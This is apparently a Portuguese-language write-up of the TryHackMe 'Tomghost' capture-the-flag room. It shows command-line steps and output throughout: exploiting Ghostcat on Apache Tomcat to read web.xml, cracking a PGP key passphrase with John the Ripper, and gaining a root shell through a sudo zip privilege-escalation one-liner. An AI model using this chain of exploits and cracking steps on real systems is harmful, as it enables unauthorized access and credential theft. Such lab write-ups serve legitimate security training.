

Write up Tomghost

Começamos o CTF rodando o nmap no IP alvo com a flag -sS para vermos os serviços que estavam rodando. Assim vemos que tem um servidor Apache fora do comum, o Apache Tomcat 9.0.30

```
root@ip-10-67-71-251:~# nmap -sS -sV 10.67.143.176
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-03 11:28 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.67.143.176
Host is up (0.00056s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp    open  tcpwrapped
8009/tcp   open  ajp13        Apache JServ (Protocol v1.3)
8080/tcp   open  http         Apache Tomcat 9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
```

Verificando se há alguma vulnerabilidade no Exploit-DB encontramos um exploit em Python que explora a vulnerabilidade de poder ler qualquer arquivo no servidor.

```
root@ip-10-67-71-251:~# searchsploit ghostcat

-----
Exploit Title                                     | Path
-----
Apache Tomcat - AJP 'Ghostcat' File Read/Inclu | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Incl | multiple/webapps/49039.rb
-----

Shellcodes: No Results
```

Como padrão, o exploit tenta nos trazer o arquivo web.xml, tal arquivo que se trata de um descritor de implantação para aplicações web java, ele é usado para configurar a aplicação, logo, se não tiver sido bem implementado, pode ter informações críticas.

```
msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

  Name      Current Setting  Required  Description
  ----      -
  FILENAME  /WEB-INF/web.xml yes       File name
  RHOSTS    10.67.143.176   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     8009             yes       The Apache JServ Protocol (AJP) port (TCP)

View the full module info with the info, or info -d command.

msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.67.143.176
RHOSTS => 10.67.143.176
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options

Module options (auxiliary/admin/http/tomcat_ghostcat):

  Name      Current Setting  Required  Description
  ----      -
  FILENAME  /WEB-INF/web.xml yes       File name
  RHOSTS    10.67.143.176   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     8009             yes       The Apache JServ Protocol (AJP) port (TCP)
```

Executando o exploit, obtemos uma credencial SSH

```

msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.67.143.176
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one or more
contributor license agreements. See the NOTICE file distributed with
this work for additional information regarding copyright ownership.
The ASF licenses this file to You under the Apache License, Version 2.0
(the "License"); you may not use this file except in compliance with
the License. You may obtain a copy of the License at

    http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
  xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
    http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
  version="4.0"
  metadata-complete="true">

  <display-name>Welcome to Tomcat</display-name>
  <description>
    Welcome to GhostCat
    skyfuck:8730281lkjlkjdqlksalks
  </description>

```

Acessando a máquina que conseguimos a credencial, vemos que há arquivos de criptografia Pretty Good Privacy (PGP), que consiste em um arquivo .pgp, onde está os dados criptografados e um arquivo .asc, que é usado para guardar a senha do .pgp, também criptografado e que é usado para poder ser feito um compartilhamento seguro de senha por canais não confiáveis.

```

root@ip-10-67-71-251:~# ssh skyfuck@10.67.143.176
The authenticity of host '10.67.143.176 (10.67.143.176)' can't be established.
ECDSA key fingerprint is SHA256:hNxvmz+AG4q06z8p74FfXZldHr0HJsaa1FBXSoTlnss.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.67.143.176' (ECDSA) to the list of known hosts.
skyfuck@10.67.143.176's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

```

Baixamos esses arquivos em nossa máquina e extraímos o hash do .asc para tentarmos quebrá-lo usando o John the Ripper.

```

root@ip-10-67-88-104:~# scp skyfuck@10.67.143.176:/home/skyfuck/tryhackme.asc .
skyfuck@10.67.143.176's password:
tryhackme.asc                                100% 5144      2.4MB/s   00:00
root@ip-10-67-88-104:~# scp skyfuck@10.67.143.176:/home/skyfuck/credential.pgp .
skyfuck@10.67.143.176's password:
credential.pgp                               100% 394      238.1KB/s   00:00
root@ip-10-67-88-104:~# gpg2john tryhackme.asc > hash_da_chave

File tryhackme.asc

```

Quebrando o hash do .asc, obtemos a senha “alexandru” do .asc

```

root@ip-10-67-88-104:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash_da_chave
Warning: detected hash type "gpg", but the string is also recognized as "gpg-opencl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru (tryhackme)
1g 0:00:00:00 DONE (2025-12-03 12:20) 4.347g/s 4660p/s 4660c/s 4660C/s chinita..
alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Acessando o .asc, obtemos a senha para descriptografar o .pgp, fazendo isso, podemos as credenciais SSH do usuário Merlin.

```

root@ip-10-67-88-104:~# gpg --import tryhackme.asc
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:         imported: 1
gpg:         unchanged: 1
gpg:         secret keys read: 1
gpg:         secret keys imported: 1
root@ip-10-67-88-104:~# gpg --decrypt credential.pgp
gpg: WARNING: cypher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuquoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jroot@ip-10-67-88-104:~#

```

Já dentro da máquina do Merlin, vemos que ele tem permissões de root, vemos que ele tem permissão root para mexer em arquivos .zip.

```

merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:

```

Buscando por alguma forma de escalar privilégio com essa informação, encontramos o seguinte comando, que nos dá uma shell root, assim completando o CTF.

```

merlin@ubuntu:~$ sudo zip /tmp/fake.zip /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# ls
user.txt
# whoami
root

```